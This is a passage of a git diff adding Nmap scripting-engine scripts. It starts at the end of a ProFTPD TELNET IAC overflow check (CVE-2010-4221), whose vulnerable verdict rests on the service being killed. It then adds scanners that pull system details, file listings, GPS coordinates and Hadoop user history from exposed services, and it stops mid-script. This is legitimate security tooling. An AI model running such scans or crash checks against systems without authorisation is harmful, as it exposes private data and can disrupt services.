+ elseif killed then
+ vuln.state = vulns.STATE.VULN
+ elseif not vuln.state then
+ vuln.state = vulns.STATE.NOT_VULN
+ end
+
+ return ftp_finish(socket, true)
+end
+
+action = function(host, port)
+ local ftp_opts = {
+ host = host,
+ port = port,
+ vuln = {
+ title = 'ProFTPD server TELNET IAC stack overflow',
+ IDS = {CVE = 'CVE-2010-4221', BID = '44562'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
+stack-based buffer overflow. By sending a large number of TELNET_IAC
+escape sequence, a remote attacker will be able to corrupt the stack and
+execute arbitrary code.]],
+ references = {
+'http://bugs.proftpd.org/show_bug.cgi?id=3521',
+'http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac',
+ },
+ dates = {
+ disclosure = {year = 2011, month = 11, day = 02},
+ },
+ }
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local status, err = check_proftpd(ftp_opts)
+ if not status then
+ stdnse.debug1("%s", err)
+ return nil
+ end
+ return report:make_output(ftp_opts.vuln)
+end
diff --git a/scripts/ganglia-info.nse b/scripts/ganglia-info.nse
new file mode 100644
index 0000000..6dde00e
--- /dev/null
+++ b/scripts/ganglia-info.nse
@@ -0,0 +1,244 @@
+local comm = require "comm"
+local shortport = require "shortport"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves system information (OS version, available memory, etc.) from
+a listening Ganglia Monitoring Daemon or Ganglia Meta Daemon.
+
+Ganglia is a scalable distributed monitoring system for high-performance
+computing systems such as clusters and Grids. The information retrieved
+includes HDD size, available memory, OS version, architecture (and more) from
+each of the systems in each of the clusters in the grid.
+
+For more information about Ganglia, see:
+* http://ganglia.sourceforge.net/
+* http://en.wikipedia.org/wiki/Ganglia_(software)#Ganglia_Monitoring_Daemon_.28gmond.29
+* http://en.wikipedia.org/wiki/Ganglia_(software)#Ganglia_Meta_Daemon_.28gmetad.29
+]]
+
+---
+-- @usage
+-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
+--
+-- @args ganglia-info.timeout
+-- Set the timeout in seconds. The default value is 30.
+-- @args ganglia-info.bytes
+-- Set the number of bytes to retrieve. The default value is 1000000.
+-- This should be enough for a grid of more than 100 hosts.
+-- About 5KB-10KB of data is returned for each host in the cluster.
+--
+-- @output
+-- 8649/tcp open unknown syn-ack
+-- | ganglia-info:
+-- | Ganglia Version: 3.1.7
+-- | Cluster 1:
+-- | Name: unspecified
+-- | Owner: unspecified
+-- | Host 1:
+-- | Name: sled9735.sd.dreamhost.com
+-- | IP: 10.208.42.221
+-- | load_one: 0.53
+-- | mem_total: 24685564KB
+-- | os_release: 3.1.9-vs2.3.2.5
+-- | proc_run: 0
+-- | load_five: 0.52
+-- | gexec: OFF
+-- | disk_free: 305.765GB
+-- | mem_cached: 18857264KB
+-- | pkts_in: 821.73packets/sec
+-- | bytes_in: 72686.10bytes/sec
+-- | bytes_out: 5612221.50bytes/sec
+-- | swap_total: 1998844KB
+-- | mem_free: 187964KB
+-- | load_fifteen: 0.57
+-- | os_name: Linux
+-- | boottime: 1429708366s
+-- | cpu_idle: 96.3%
+-- | cpu_user: 2.7%
+-- | cpu_nice: 0.0%
+-- | cpu_aidle: 94.7%
+-- | mem_buffers: 169588KB
+-- | cpu_system: 0.8%
+-- | part_max_used: 31.5%
+-- | disk_total: 435.962GB
+-- | mem_shared: 0KB
+-- | cpu_wio: 0.2%
+-- | machine_type: x86_64
+-- | proc_total: 1027
+-- | cpu_num: 8CPUs
+-- | cpu_speed: 2400MHz
+-- | pkts_out: 3977.13packets/sec
+-- | swap_free: 1393392KB
+--
+-- @xmloutput
+-- <elem key="Ganglia Version">3.1.7</elem>
+-- <table key="Cluster 1">
+-- <elem key="Name">unspecified</elem>
+-- <elem key="Owner">unspecified</elem>
+-- <table key="Host 1">
+-- <elem key="Name">sled9735.sd.dreamhost.com</elem>
+-- <elem key="IP">10.208.42.221</elem>
+-- <elem key="load_one">0.53</elem>
+-- <elem key="mem_total">24685564KB</elem>
+-- <elem key="os_release">3.1.9-vs2.3.2.5</elem>
+-- <elem key="proc_run">0</elem>
+-- <elem key="load_five">0.52</elem>
+-- <elem key="gexec">OFF</elem>
+-- <elem key="disk_free">305.765GB</elem>
+-- <elem key="mem_cached">18857264KB</elem>
+-- <elem key="pkts_in">821.73packets/sec</elem>
+-- <elem key="bytes_in">72686.10bytes/sec</elem>
+-- <elem key="bytes_out">5612221.50bytes/sec</elem>
+-- <elem key="swap_total">1998844KB</elem>
+-- <elem key="mem_free">187964KB</elem>
+-- <elem key="load_fifteen">0.57</elem>
+-- <elem key="os_name">Linux</elem>
+-- <elem key="boottime">1429708366s</elem>
+-- <elem key="cpu_idle">96.3%</elem>
+-- <elem key="cpu_user">2.7%</elem>
+-- <elem key="cpu_nice">0.0%</elem>
+-- <elem key="cpu_aidle">94.7%</elem>
+-- <elem key="mem_buffers">169588KB</elem>
+-- <elem key="cpu_system">0.8%</elem>
+-- <elem key="part_max_used">31.5%</elem>
+-- <elem key="disk_total">435.962GB</elem>
+-- <elem key="mem_shared">0KB</elem>
+-- <elem key="cpu_wio">0.2%</elem>
+-- <elem key="machine_type">x86_64</elem>
+-- <elem key="proc_total">1027</elem>
+-- <elem key="cpu_num">8CPUs</elem>
+-- <elem key="cpu_speed">2400MHz</elem>
+-- <elem key="pkts_out">3977.13packets/sec</elem>
+-- <elem key="swap_free">1393392KB</elem>
+-- </table>
+-- </table>
+--
+-- Version 0.2
+-- Created 2011-06-28 - v0.1 - created by Brendan Coles - itsecuritysolutions.org
+-- Created 2015-07-30 - v0.2 - Added Support for SLAXML by Gyanendra Mishra
+
+author = {"Brendan Coles", "Gyanendra Mishra"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"})
+
+local function set_name_value(name)
+ return function(value, state)
+ state.result[name] = value
+ end
+end
+
+local function set_cluster(name)
+ return function(value, state)
+ local current = state[#state]
+ if not current.out then
+ state.cc = state.cc + 1
+ current.out = stdnse.output_table()
+ current.hc = 0
+ state.result["Cluster " .. state.cc] = current.out
+ end
+ state.result["Cluster " .. state.cc][name] = value
+ end
+end
+
+local function get_current_cluster(state)
+ for i=#state, 1, -1 do
+ if state[i][1] == "CLUSTER" then
+ return state[i]
+ end
+ end
+end
+
+local function set_host(name)
+ return function(value, state)
+ local current = state[#state]
+ local current_cluster = get_current_cluster(state)
+ if not current.out then
+ current_cluster.hc = current_cluster.hc + 1
+ current.out = stdnse.output_table()
+ state.result["Cluster " .. state.cc]["Host " .. current_cluster.hc] = current.out
+ end
+ state.result["Cluster " .. state.cc]["Host " .. current_cluster.hc][name] = value
+ end
+end
+
+local function set_metric(name)
+ return function(value, state)
+ local current = state[#state]
+ local current_cluster = get_current_cluster(state)
+ current[name] = value
+ if current["name"] and current["value"] and current["unit"] then
+ state.result["Cluster " .. state.cc]["Host " .. current_cluster.hc][current["name"]] = current["value"] .. current["unit"]
+ end
+ end
+end
+
+local P = {
+ GANGLIA_XML = {
+ VERSION = set_name_value("Ganglia Version"),
+ },
+ GRID = {
+ NAME = set_name_value("Grid Name"),
+ },
+ CLUSTER = {
+ NAME = set_cluster("Name"),
+ OWNER = set_cluster("Owner"),
+ },
+ HOST = {
+ NAME = set_host("Name"),
+ IP = set_host("IP"),
+ },
+ METRIC = {
+ NAME = set_metric("name"),
+ UNITS = set_metric("unit"),
+ VAL = set_metric("value"),
+ }
+}
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+
+ -- Set timeout
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
+ timeout = timeout or 30
+
+ -- Set bytes
+ local bytes = stdnse.get_script_args(SCRIPT_NAME .. '.bytes')
+ bytes = tonumber(bytes) or 1000000
+
+ -- Retrieve grid data in XML format over TCP
+ stdnse.debug1("Connecting to %s:%s", host.targetname or host.ip, port.number)
+ local status, data = comm.get_banner(host, port, {request_timeout=timeout*1000,bytes=bytes})
+ if not status then
+ stdnse.debug1("Timeout exceeded for %s:%s (Timeout: %ss).", host.targetname or host.ip, port.number, timeout)
+ return
+ end
+
+ local state = {
+ cc = 0,
+ result=stdnse.output_table()
+ }
+
+ local parser = slaxml.parser:new()
+ parser._call = {
+ startElement = function(name) table.insert(state, {name}) end,
+ closeElement = function(name) assert(state[#state][1] == name) state[#state] = nil end,
+ attribute = function(name, value)
+ local p_elem = P[state[#state][1]]
+ if not (p_elem and p_elem[name]) then return end
+ local p_attr = p_elem[name]
+ if not p_attr then return end
+ p_attr(value, state)
+ end,
+ }
+
+ parser:parseSAX(data, {stripWhitespace=true})
+
+ if #state.result then return state.result end
+
+end
diff --git a/scripts/giop-info.nse b/scripts/giop-info.nse
new file mode 100644
index 0000000..c4aabd2
--- /dev/null
+++ b/scripts/giop-info.nse
@@ -0,0 +1,81 @@
+local giop = require "giop"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Queries a CORBA naming server for a list of objects.
+]]
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+---
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1050/tcp open java-or-OTGfileshare syn-ack
+-- | giop-info:
+-- | Object: Hello
+-- | Context: Test
+-- |_ Object: GoodBye
+--
+-- @xmloutput
+-- <table>
+-- <enum key="enum">0</enum>
+-- <enum key="id">Hello</enum>
+-- <enum key="kind">18</enum>
+-- </table>
+-- <table>
+-- <enum key="enum">1</enum>
+-- <enum key="id">Test</enum>
+-- <enum key="kind">0</enum>
+-- </table>
+-- <table>
+-- <enum key="enum">0</enum>
+-- <enum key="id">Goodbye</enum>
+-- <enum key="kind">18</enum>
+-- </table>
+
+
+-- Version 0.1
+
+-- Created 07/08/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service( {2809,1050,1049} , "giop", "tcp", "open")
+
+local fmt_meta = {
+ __tostring = function (t)
+ local tmp = "Unknown"
+ if ( t.enum == 0 ) then
+ tmp = "Object"
+ elseif( t.enum == 1 ) then
+ tmp = "Context"
+ end
+
+ -- TODO: Handle t.kind? May require IDL.
+ return ("%s: %s"):format(tmp, t.id)
+ end
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+action = function(host, port)
+
+ local helper = giop.Helper:new( host, port )
+ local ctx, objs, status, err
+
+ status, err = helper:Connect()
+ if ( not(status) ) then return err end
+
+ status, ctx = helper:GetNamingContext()
+ if ( not(status) ) then return fail(ctx) end
+
+ status, objs = helper:ListObjects(ctx)
+ if ( not(status) ) then return fail(objs) end
+
+ for _, obj in ipairs( objs ) do
+ setmetatable(obj, fmt_meta)
+ end
+
+ return objs
+end
diff --git a/scripts/gkrellm-info.nse b/scripts/gkrellm-info.nse
new file mode 100644
index 0000000..5ebc028
--- /dev/null
+++ b/scripts/gkrellm-info.nse
@@ -0,0 +1,205 @@
+local datetime = require "datetime"
+local math = require "math"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Queries a GKRellM service for monitoring information. A single round of
+collection is made, showing a snapshot of information at the time of the
+request.
+]]
+
+---
+-- @usage
+-- nmap -p 19150 <ip> --script gkrellm-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 19150/tcp open gkrellm
+-- | gkrellm-info:
+-- | Hostname: ubu1110
+-- | System: Linux 3.0.0-12-generic
+-- | Version: gkrellmd 2.3.4
+-- | Uptime: 2 days, 1 hours, 50 minutes
+-- | Processes: Processes 354, Load 0.00, Users 3
+-- | Memory: Total 493M, Free 201M
+-- | Network
+-- | Interface Received Transmitted
+-- | eth0 704M 42M
+-- | lo 43M 43M
+-- | Mounts
+-- | Mount point Fs type Size Available
+-- | / rootfs 19654M 10238M
+-- | /dev devtmpfs 239M 239M
+-- | /run tmpfs 99M 98M
+-- | /sys/fs/fuse/connections fusectl 0M 0M
+-- | / ext4 19654M 10238M
+-- | /sys/kernel/debug debugfs 0M 0M
+-- | /sys/kernel/security securityfs 0M 0M
+-- | /run/lock tmpfs 5M 5M
+-- | /run/shm tmpfs 247M 247M
+-- | /proc/sys/fs/binfmt_misc binfmt_misc 0M 0M
+-- | /media/VBOXADDITIONS_4.1.12_77245 iso9660 49M 0M
+-- |_ /home/paka/.gvfs fuse.gvfs-fuse-daemon 0M 0M
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local long_names = {
+ ["fs_mounts"] = "Mounts",
+ ["net"] = "Network",
+ ["hostname"] = "Hostname",
+ ["sysname"] = "System",
+ ["version"] = "Version",
+ ["uptime"] = "Uptime",
+ ["mem"] = "Memory",
+ ["proc"] = "Processes",
+}
+
+local order = {
+ "Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
+}
+
+local function getOrderPos(tag)
+ for i=1, #order do
+ if ( tag.name == order[i] ) then
+ return i
+ elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
+ return i
+ end
+ end
+ return 1
+end
+
+local function decodeTag(tag, lines)
+ local result = { name = long_names[tag] }
+ local order
+
+ if ( "fs_mounts" == tag ) then
+ local fs_tab = tab.new(4)
+ tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
+ for _, line in ipairs(lines) do
+ if ( ".clear" ~= line ) then
+ local mount, prefix, fstype, size, free, used, bs = table.unpack(stringaux.strsplit("%s", line))
+ if ( size and free and mount and fstype ) then
+ size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
+ free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
+ tab.addrow(fs_tab, mount, fstype, size, free)
+ end
+ end
+ end
+ table.insert(result, tab.dump(fs_tab))
+ elseif ( "net" == tag ) then
+ local net_tab = tab.new(3)
+ tab.addrow(net_tab, "Interface", "Received", "Transmitted")
+ for _, line in ipairs(lines) do
+ local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
+ rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
+ tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
+ tab.addrow(net_tab, name, rx, tx)
+ end
+ table.insert(result, tab.dump(net_tab))
+ elseif ( "hostname" == tag or "sysname" == tag or
+ "version" == tag ) then
+ return ("%s: %s"):format(long_names[tag], lines[1])
+ elseif ( "uptime" == tag ) then
+ return ("%s: %s"):format(long_names[tag], datetime.format_time(lines[1] * 60))
+ elseif ( "mem" == tag ) then
+ local total, used = table.unpack(stringaux.strsplit("%s", lines[1]))
+ if ( not(total) or not(used) ) then
+ return
+ end
+ local free = math.ceil((total - used)/1048576)
+ total = math.ceil(tonumber(total)/1048576)
+ return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
+ elseif ( "proc" == tag ) then
+ local procs, _, forks, load, users = table.unpack(stringaux.strsplit("%s", lines[1]))
+ if ( not(procs) or not(forks) or not(load) or not(users) ) then
+ return
+ end
+ return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
+ end
+ return ( #result > 0 and result or nil )
+end
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to the server")
+ end
+
+ -- If there's an error we get a response back, and only then
+ local status, data = socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ if( status and data ~= "<error>" ) then
+ return fail("An unknown error occurred, aborting ...")
+ elseif ( status ) then
+ status, data = socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ if ( status ) then
+ return fail(data)
+ else
+ return fail("Failed to receive error message from server")
+ end
+ end
+
+ if ( not(socket:send("gkrellm 2.3.4\n")) ) then
+ return fail("Failed to send data to the server")
+ end
+
+ local tags = {}
+ local status, tag = socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ while(true) do
+ if ( not(status) ) then
+ break
+ end
+ if ( not(tag:match("^<.*>$")) ) then
+ stdnse.debug2("Expected tag, got: %s", tag)
+ break
+ else
+ tag = tag:match("^<(.*)>$")
+ end
+
+ if ( tags[tag] ) then
+ break
+ end
+
+ while(true) do
+ local data
+ status, data = socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ if ( not(status) ) then
+ break
+ end
+ if ( status and data:match("^<.*>$") ) then
+ tag = data
+ break
+ end
+ tags[tag] = tags[tag] or {}
+ table.insert(tags[tag], data)
+ end
+ end
+ socket:close()
+
+ local output = {}
+ for tag in pairs(tags) do
+ local result, order = decodeTag(tag, tags[tag])
+ if ( result ) then
+ table.insert(output, result)
+ end
+ end
+
+ table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/gopher-ls.nse b/scripts/gopher-ls.nse
new file mode 100644
index 0000000..70ae90c
--- /dev/null
+++ b/scripts/gopher-ls.nse
@@ -0,0 +1,92 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Lists files and directories at the root of a gopher service.
+]]
+
+---
+-- @usage
+-- nmap -p 70 --script gopher-ls --script-args gopher-ls.maxfiles=100 <target>
+--
+-- @output
+-- 70/tcp open gopher
+-- | gopher-ls:
+-- | [txt] /gresearch.txt "Gopher, the next big thing?"
+-- | [dir] /taxf "Tax Forms"
+-- |_Only 2 shown. Use --script-args gopher-ls.maxfiles=-1 to see all.
+--
+-- @args gopher-ls.maxfiles If set, limits the amount of files returned by
+-- the script. If set to 0 or less, all files are shown. The default
+-- value is 10.
+
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service (70, "gopher", {"tcp"})
+
+local function typelabel(gtype)
+ if gtype == "0" then
+ return "[txt]"
+ end
+ if gtype == "1" then
+ return "[dir]"
+ end
+ return string.format("[%s]", gtype)
+
+end
+
+action = function( host, port )
+
+ local INFO = "i"
+ local maxfiles = stdnse.get_script_args(SCRIPT_NAME..".maxfiles")
+ if not maxfiles then
+ maxfiles = 10
+ else
+ maxfiles = tonumber(maxfiles)
+ end
+ if maxfiles < 1 then
+ maxfiles = nil
+ end
+
+ local socket = nmap.new_socket()
+ local status, err = socket:connect(host, port)
+ if not status then
+ return
+ end
+
+ socket:send("\r\n")
+
+ local buffer, _ = stdnse.make_buffer(socket, "\r\n")
+ local line = buffer()
+ local files = {}
+
+ while line ~= nil do
+ if #line > 1 then
+ local gtype = string.sub(line, 1, 1)
+ local fields = stringaux.strsplit("\t", string.sub(line, 2))
+ if #fields > 1 then
+ local label = fields[1]
+ local filename = fields[2]
+ if gtype ~= INFO then
+ if maxfiles and #files >= maxfiles then
+ table.insert(files, string.format('Only %d shown. Use --script-args %s.maxfiles=-1 to see all.', maxfiles, SCRIPT_NAME))
+ break
+ else
+ table.insert(files, string.format('%s %s "%s"', typelabel(gtype), filename, label))
+ end
+ end
+ end
+ end
+ line = buffer()
+ end
+ return "\n" .. table.concat(files, "\n")
+end
+
diff --git a/scripts/gpsd-info.nse b/scripts/gpsd-info.nse
new file mode 100644
index 0000000..b6aefaa
--- /dev/null
+++ b/scripts/gpsd-info.nse
@@ -0,0 +1,105 @@
+local datetime = require "datetime"
+local gps = require "gps"
+local match = require "match"
+local nmap = require "nmap"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Retrieves GPS time, coordinates and speed from the GPSD network daemon.
+]]
+
+---
+-- @usage
+-- nmap -p 2947 <ip> --script gpsd-info
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2947/tcp open gpsd-ng syn-ack
+-- | gpsd-info:
+-- | Time of fix: Sat Apr 14 15:54:23 2012
+-- | Coordinates: 59.321685,17.886493
+-- |_ Speed: - knots
+--
+-- @args gpsd-info.timeout timespec defining how long to wait for data (default 10s)
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(2947, "gpsd-ng", "tcp")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+arg_timeout = arg_timeout or 10
+
+local function updateData(gpsinfo, entry)
+ for k, v in pairs(gpsinfo) do
+ if ( entry[k] and 0 < #tostring(entry[k]) ) then
+ gpsinfo[k] = entry[k]
+ end
+ end
+end
+
+local function hasAllData(gpsinfo)
+ for k, v in pairs(gpsinfo) do
+ if ( k ~= "speed" and v == '-' ) then
+ return false
+ end
+ end
+ return true
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local gpsinfo = {
+ longitude = "-",
+ latitude = "-",
+ speed = "-",
+ time = "-",
+ date = "-",
+ }
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(1000)
+
+ local status = socket:connect(host, port)
+
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ -- get the banner
+ local status, line = socket:receive_lines(1)
+ socket:send('?WATCH={"enable":true,"nmea":true}\r\n')
+
+ local start_time = os.time()
+
+ repeat
+ local entry
+ status, line = socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if ( status ) then
+ status, entry = gps.NMEA.parse(line)
+ if ( status ) then
+ updateData(gpsinfo, entry)
+ end
+ end
+ until( os.time() - start_time > arg_timeout or hasAllData(gpsinfo) )
+
+ socket:send('?WATCH={"enable":false}\r\n')
+
+ if ( not(hasAllData(gpsinfo)) ) then
+ return
+ end
+
+ local output = {
+ ("Time of fix: %s"):format(datetime.format_timestamp(gps.Util.convertTime(gpsinfo.date, gpsinfo.time))),
+ ("Coordinates: %.4f,%.4f"):format(tonumber(gpsinfo.latitude), tonumber(gpsinfo.longitude)),
+ ("Speed: %s knots"):format(gpsinfo.speed)
+ }
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/hadoop-datanode-info.nse b/scripts/hadoop-datanode-info.nse
new file mode 100644
index 0000000..4bf12cb
--- /dev/null
+++ b/scripts/hadoop-datanode-info.nse
@@ -0,0 +1,61 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Discovers information such as log directories from an Apache Hadoop DataNode
+HTTP status page.
+
+Information gathered:
+* Log directory (relative to http://host:port/)
+]]
+
+---
+-- @usage
+-- nmap --script hadoop-datanode-info.nse -p 50075 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 50075/tcp open hadoop-datanode syn-ack
+-- | hadoop-datanode-info:
+-- |_ Logs: /logs/
+--
+-- @xmloutput
+-- <elem key="Logs">/logs/</elem>
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service({50075}, "hadoop-datanode")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/browseDirectory.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ if body:match("([^][\"]+)\">Log") then
+ port.version.name = "hadoop-datanode"
+ port.version.product = "Apache Hadoop"
+ nmap.set_port_version(host, port)
+ local logs = body:match("([^][\"]+)\">Log")
+ stdnse.debug1("Logs %s",logs)
+ result["Logs"] = logs
+ end
+ end
+ if #result > 0 then
+ return result
+ end
+end
diff --git a/scripts/hadoop-jobtracker-info.nse b/scripts/hadoop-jobtracker-info.nse
new file mode 100644
index 0000000..53a3619
--- /dev/null
+++ b/scripts/hadoop-jobtracker-info.nse
@@ -0,0 +1,181 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Retrieves information from an Apache Hadoop JobTracker HTTP status page.
+
+Information gathered:
+* State of the JobTracker.
+* Date/time the service was started
+* Hadoop version
+* Hadoop Compile date
+* JobTracker ID
+* Log directory (relative to http://host:port/)
+* Associated TaskTrackers
+* Optionally also user activity history
+]]
+
+---
+-- @usage
+-- nmap --script hadoop-jobtracker-info [--script-args=hadoop-jobtracker-info.userinfo] -p 50030 host
+--
+-- @args hadoop-jobtracker-info.userinfo Retrieve user history info. Default: false
+--
+-- @output
+-- 50030/tcp open hadoop-jobtracker
+-- | hadoop-jobtracker-info:
+-- | State: RUNNING
+-- | Started: Wed May 11 22:33:44 PDT 2011, bob
+-- | Version: 0.20.2 (f415ef415ef415ef415ef415ef415ef415ef415e)
+-- | Compiled: Wed May 11 22:33:44 PDT 2011 by bob from unknown
+-- | Identifier: 201111031342
+-- | Log Files: logs/
+-- | Tasktrackers:
+-- | tracker1.example.com:50060
+-- | tracker2.example.com:50060
+-- | Userhistory:
+-- | User: bob (Wed Sep 07 12:14:33 CEST 2011)
+-- |_ User: bob (Wed Sep 07 12:14:33 CEST 2011)
+--
+-- @xmloutput
+-- <elem key="State">RUNNING</elem>
+-- <elem key="Started">Wed May 11 22:33:44 PDT 2011, bob</elem>
+-- <elem key="Version">0.20.2 (f415ef415ef415ef415ef415ef415ef415ef415e)</elem>
+-- <elem key="Compiled">Wed May 11 22:33:44 PDT 2011 by bob from unknown</elem>
+-- <elem key="Identifier">201111031342</elem>
+-- <elem key="Log Files">logs/</elem>
+-- <table key="Tasktrackers">
+-- <elem>tracker1.example.com:50060</elem>
+-- <elem>tracker2.example.com:50060</elem>
+-- </table>
+-- <table key="Userhistory">
+-- <elem>User: bob (Wed Sep 07 12:14:33 CEST 2011)</elem>
+-- <elem>User: bob (Wed Sep 07 12:14:33 CEST 2011)</elem>
+-- </table>
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+local get_userhistory = function( host, port )
+ local results = {}
+ local uri = "/jobhistory.jsp?pageno=-1&search="
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ stdnse.debug2("Body %s\n",body)
+ for line in string.gmatch(body, "[^\n]+") do
+ stdnse.debug3("Line %s\n",line)
+ if line:match("job_[%d_]+") then
+ local user = line:match("<td>([^][<>]+)</td></tr>")
+ local job_time = line:match("</td><td>([^][<]+)")
+ stdnse.debug1("User: %s (%s)",user,job_time)
+ table.insert( results, ("User: %s (%s)"):format(user,job_time))
+ end
+ end
+ end
+ if #results > 0 then
+ return results
+ end
+end
+local get_tasktrackers = function( host, port )
+ local results = {}
+ local uri = "/machines.jsp?type=active"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ stdnse.debug2("Body %s\n",response['body'])
+ for line in string.gmatch(response['body'], "[^\n]+") do
+ stdnse.debug3("Line %s\n",line)
+ if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
+ local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
+ stdnse.debug1("taskstracker %s",tasktracker)
+ table.insert( results, tasktracker)
+ if target.ALLOW_NEW_TARGETS then
+ if tasktracker:match("([%w%.]+)") then
+ local newtarget = tasktracker:match("([%w%.]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ end
+ end
+ end
+ return results
+end
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/jobtracker.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if not (response['status-line'] and response['status-line']:match("200%s+OK") and response['body']) then
+ return nil
+ end
+ stdnse.debug2("Body %s\n",response['body'])
+ if response['body']:match("State:</b>%s*([^][<]+)") then
+ local state = response['body']:match("State:</b>%s*([^][<]+)")
